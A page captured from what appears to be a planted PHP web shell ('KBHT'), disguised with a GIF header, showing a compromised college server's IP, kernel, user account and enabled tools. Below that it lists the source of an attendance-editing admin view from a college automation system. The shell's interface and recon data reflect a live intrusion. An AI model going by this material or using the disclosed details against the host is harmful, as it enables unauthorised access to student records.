GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.139.236.93
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../cas/application/views/admin/academics/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../cas/application/views/admin/academics/editAttendance.php
<!DOCTYPE HTML>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title>Feed Attendance | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>">
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/bootstrap-select.min.css"); ?>" type='text/css'>
        <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>">
        <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap-popper.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap-select.min.js"); ?>"></script>
        <script>
            var csrfHash = '';
        </script>
    </head>
    <body>
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("admin/navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item active" aria-current="page">Academics</li>
                            <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/Attendance/editAttendance"); ?>"> Edit Student Attendance</a></li>                            
                        </ol>
                    </nav>
                    <section class="forms">
                        <div class="card card_border py-2 mb-4">
                            <div class="cards__heading">
                                <h3><i class="fa fa-edit"></i> Edit Student Attendance</h3>
                            </div>
                            <div class="card-body">

                                <?php if (validation_errors() != false) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo validation_errors(); ?></strong> </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('successMessage')) { ?>
                                    <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?> </strong> </div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('errorMessage')) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div>
                                <?php } ?>
                                <?php echo form_open(site_url('admin/Attendance/editAttendance'), ['name' => 'attendanceEditFilterFrm', 'id' => 'attendanceEditFilterFrm']); ?>
                                <fieldset>
                                    <legend>Session , Subject & Slot Info. </legend>
                                    <div class="form-row">
                                        <div class="form-group col-md-3">
                                            <label for="session" class="input__label">Session *</label>
                                            <select id="session" name="session" class="custom-select">
                                                <option value="">Select Session</option>
                                                <?php foreach ($sessions as $session) { ?>
                                                    <option <?php if ($session->session_status == "C") echo "selected"; ?> value="<?php echo $session->session_id; ?>" <?php echo set_select("session", $session->session_id); ?>><?php echo stripslashes($session->session_name); ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <input id="cur" name="cur   " class="form-contol" style="margin-top: 38px;" type="checkbox" checked="true">
                                            <label  class="input__label">Current Date </label>

                                        </div>
                                        <div class="form-group col-md-3">
                                            <label  class="input__label">Attendance Date *</label>
                                            <input  autocomplete="off" type="text" class="form-control <?php if (!$backDateAttendanceFlag) echo "readonly"; ?>" id="attDate" name="attDate" value="<?php echo set_value('attDate'); ?>" placeholder="Choose Enrollment Date" maxlength="10">
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="subject" class="input__label">Subject *</label>
                                            <select id="subject" name="subject" class="custom-select">
                                                <option value="">Select Subject</option>
                                                <?php foreach ($subjects as $subject) { ?>
                                                    <option <?php echo ($selectedSubject == $subject->sta_id) ? "selected" : ""; ?> value="<?php echo $subject->sta_id; ?>" <?php echo set_select("subject", $subject->sm_id); ?>><?php echo stripslashes($subject->sm_code) . "-" . stripslashes($subject->sm_name) . "-" . stripslashes($subject->sta_id); ?></option>
                                                    <?php
                                                }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-3">
                                            <label for="slot" class="input__label">Slot *</label>
                                            <select id="slot" name="slot" class="custom-select">
                                                <option value="">Select Slot</option>
                                            </select>
                                        </div>
                                    </div>
                                    <span id="spnErr" style="color:#FF0000;font-size:15px;font-weight: bolder;"></span>
                                </fieldset>        
                                <fieldset id="studentList" style="display: <?php echo (sizeof($attendanceData)) ? "block" : "none"; ?>;">
                                    <legend>Student(s) List</legend>
                                    <div class="form-row">
                                        <table style="width:100%" class="table table-warning">
                                            <tr>
                                                <th>Sr. No</th>
                                                <th>Enrl. No.</th>
                                                <th>Name</th>
                                                <th>Semester</th>
                                                <th><input type="radio" id="selectAllPresent" name="selectAll" value="presnt">&nbsp;Present</th>
                                                <th><input type="radio" id="selectAllAbsent" name="selectAll" value="absent">&nbsp;Absent</th>
                                            </tr>
                                            <tbody id="studentDetails">
                                            </tbody>
                                        </table>
                                    </div>

                                    <button id="allotBtn" name="updateBtn" type="submit" class="btn btn-primary btn-block btn-style mt-4" >Update Attendance</button>
                                </fieldset>

                                <?php echo form_close(); ?>
                            </div>
                        </div>
                    </section>
                </div>
            </div>
        </section>
        <script>

<?php
if (sizeof($calendarStatusInfo)) {
    ?>
                $("#attDate").datepicker({
                    dateFormat: "dd/mm/yy",
                    changeMonth: true,
                    changeYear: true,
                    yearRange: '1995:+0',
                    numberOfMonths: 1,
                    minDate: new Date('<?php echo $calendarStatusInfo->sacsm_from; ?>'),
                    maxDate: new Date('<?php echo $calendarStatusInfo->sacsm_to; ?>')
                }).datepicker('setDate', 'today');
    <?php
} else {
    ?>
                $("#attDate").datepicker({
                    dateFormat: "dd/mm/yy",
                    maxDate: "+0D"
                }).datepicker('setDate', 'today');
    <?php
}
?>


            $("#cur").click(function () {
                if ($(this).prop("checked") == true) {
                    $("#attDate").val(('<?php echo date('d/m/Y'); ?>'));
                    $("#attDate").addClass("readonly");
                    $("#subject").val("");
                    $("#slot").val("");
                } else if ($(this).prop("checked") == false) {
                    $("#attDate").val("");
<?php
if ($backDateAttendanceFlag) {
    ?>
                        $("#attDate").removeClass("readonly");
                        $("#attDate").focus();
                        $("#subject").val("");
                        $("#slot").val("");
    <?php
}
?>
                }
            });

            $(document).ready(function () {
<?php
if (!$backDateAttendanceFlag) {
    ?>
                    $("#cur").addClass("readonly");
    <?php
}
?>
                if ($("#cur").prop("checked") == true) {
                    $("#attDate").val(('<?php echo date('d/m/Y'); ?>'));
                    $("#attDate").addClass("readonly");
                }
            });

            $("#subject").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($("#session").val().trim() !== "" && $("#attDate").val().trim() !== "") {
                    if ($(this).val().trim() !== "") {
                        $.ajax({
                            url: '<?php echo site_url('admin/Slot/getAllocatedSlotsForDropDown/'); ?>',
                            data: {subject: $("#subject").val(), session: $("#session").val(), attDate: $("#attDate").val(), slot: '', csrf_token: csrfHash},
                            type: 'POST',
                            success: function (result) {
                                var slotsInfo = JSON.parse(result);
                                $(".se-pre-con").fadeOut("slow");
                                $("#slot").html(slotsInfo.slot_list);
                                csrfHash = slotsInfo.csrfHash;
                                attendanceEditFilterFrm.csrf_token.value = csrfHash;
                            }
                        });
                    } else {
                        $(".se-pre-con").fadeOut("slow");
                        $("#slot").html("<select><option value=''>Select Slot</option></select>");
                        $("#studentList").css("display", "none");
                    }
                } else {
                    $(".se-pre-con").fadeOut("slow");
                    $("#spnErr").html("Please Select The Session & Attendance Date To Continue.");
                    $("#session").focus();
                }
            });


            $("#slot").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($("#session").val().trim() !== "") {
                    if ($(this).val().trim() !== "") {
                        $.ajax({
                            url: '<?php echo site_url('admin/Student/getAttendanceToSubject/'); ?>',
                            data: {subject: $("#subject").val(), session: $("#session").val(), slot: $("#slot").val(), attDate: $("#attDate").val(), csrf_token: csrfHash},
                            type: 'POST',
                            success: function (result) {
                                var studentsInfo = JSON.parse(result);
                                $(".se-pre-con").fadeOut("slow");
                                studentsList = "";
                                if (studentsInfo.available_students !== 0) {
                                    for (var i = 0; i < studentsInfo.student_list.length; i++) {
                                        var present = "";
                                        var absent = "";
                                        var disabled = "";
                                        if (studentsInfo.student_list[i].sam_flag === "P") {
                                            present = "checked";
                                                disabled= "disabled='disabled'";
                                        }
                                        if (studentsInfo.student_list[i].sam_flag === "A") {
                                            absent = "checked";                                      
                                        }

                                        studentsList += "<tr>";
                                        studentsList += "<td>" + (i + 1) + "</td>";
                                        studentsList += "<td>" + studentsInfo.student_list[i].stu_roll_no + "</td>";
                                        studentsList += "<td>" + studentsInfo.student_list[i].stu_name + "</td>";
                                        studentsList += "<td>" + studentsInfo.student_list[i].stu_semester + "</td>";
                                        studentsList += "<td><input " + present + " class='present' onClick='makeRemarkDisabled(" + studentsInfo.student_list[i].stu_form_no + ")' type='radio' name='" + studentsInfo.student_list[i].stu_form_no + "' value='P'></td>";
                                        studentsList += "<td><input " + absent + " onClick='makeRemarkActive(" + studentsInfo.student_list[i].stu_form_no + ")' class='absent remark' type='radio' name='" + studentsInfo.student_list[i].stu_form_no + "' value='A'></td>";
                                        studentsList += "<td><input "+disabled+" id='remark" + studentsInfo.student_list[i].stu_form_no + "' type='text' placeholder='Enter Remarks' name='remark" + studentsInfo.student_list[i].stu_form_no + "' value='"+studentsInfo.student_list[i].sam_remark+"'></td>";
                                        studentsList += "</tr>";
                                    }
                                    //console.log(studentsList);
                                    $("#studentDetails").html(studentsList);
                                    $("#stuCount").val(studentsInfo.available_students);
                                    $("#studentList").css("display", "block");
                                    $("#allotBtn").prop("disabled", "");
                                } else {
                                    studentsList += "<tr>";
                                    studentsList += "<td colspan='7'>" + studentsInfo.message + "</td>";
                                    studentsList += "</tr>";
                                    $("#stuCount").val(studentsInfo.available_students);
                                    $("#studentDetails").html(studentsList);
                                    $("#studentList").css("display", "block");
                                    $("#allotBtn").prop("disabled", "disabled");
                                }
                                csrfHash = studentsInfo.csrfHash;
                                attendanceEditFilterFrm.csrf_token.value = csrfHash;
                            }
                        });
                    } else {
                        $(".se-pre-con").fadeOut("slow");
                        $("#studentList").css("display", "none");
                        $("#allotBtn").prop("disabled", "disabled");
                    }
                } else {
                    $(".se-pre-con").fadeOut("slow");
                    alert('Please Select The Session To Continue.');
                    $("#subject").val("");
                    $("#session").focus();
                }

            });

//            $("#slot").on("change", function () {
//                if ($(this).val().trim() == "") {
//                    $("#studentList").css("display", "none");
//                    $("#spnErr").html("Please Select Any Slot To Fetch Student-Attendance Details.");
//                } else {
//                    $("#spnErr").html("");
//                }
//            });
            $("#session").on("change", function () {
                if ($(this).val().trim() == "") {
                    $("#studentList").css("display", "none");
                    $("#spnErr").html("Please Select The Session To Proceed.");
                }
            });

            $("#selectAllPresent").click(function () {
                $(".present").prop('checked', $(this).prop('checked'));
            });

            $("#selectAllAbsent").on('click', function () {
                $(".absent ").prop('checked', $(this).prop('checked'));
            });


            function makeRemarkDisabled(obj) {
                let remarkID = "remark" + obj;
                $("#" + remarkID).val("");
                $("#" + remarkID).prop("disabled", "disabled");
            }

            function makeRemarkActive(obj) {
                let remarkID = "remark" + obj;
                $("#" + remarkID).prop("disabled", "");
            }

            $("#filterAttendanceBtn").on("click", function () {
                if ($("#subject").val() === "" || $("#subject").val() === null) {
                    $("#spnErr").html("Please Select Any Subject To Proceed.");
                    $("#studentList").css("display", "none");
                    event.preventDefault();
                    $("#subject").focus();
                } else if ($("#slot").val() === "" || $("#slot").val() === null) {
                    $("#spnErr").html("Please Select Any Slot To Fetch Student-Attendance Details.");
                    event.preventDefault();
                    $("#slot").focus();
                } else {
                    $("#spnErr").html("");
                    $("#attendanceEditFilterFrm").submit();
                }
            });

            $("#allotBtn").on("click", function () {
                if ($("#slot").val() === "" || $("#slot").val() === null) {
                    $("#spnErr").html("Please Select Any Slot To Save Attendance");
                    event.preventDefault();
                    $("#slot").focus();
                } else {
                    $("#spnErr").html("");
                    $("#attendanceEditFilterFrm").submit();
                }
            });
            $(document).ready(function () {
                if ($("#subject").val().trim() !== "") {
                    if (csrfHash === '') {
                        csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                    }
                    $.ajax({
                        url: '<?php echo site_url('admin/Slot/getAllocatedSlotsForDropDown/'); ?>',
                        data: {subject: $("#subject").val(), session: $("#session").val(), attDate: $("#attDate").val(), slot: '<?php echo $selectedSlot; ?>', csrf_token: csrfHash},
                        type: 'POST',
                        success: function (result) {
                            var slotsInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#slot").html(slotsInfo.slot_list);
                            csrfHash = slotsInfo.csrfHash;
                            attendanceEditFilterFrm.csrf_token.value = csrfHash;
                        }
                    });
                } else {
                    $(".se-pre-con").fadeOut("slow");
                    $("#allotBtn").prop("disabled", "disabled");
                }
            });


        </script>
        <?php $this->load->view("admin/footer"); ?>
    </body>
</html>

KBHT - 2023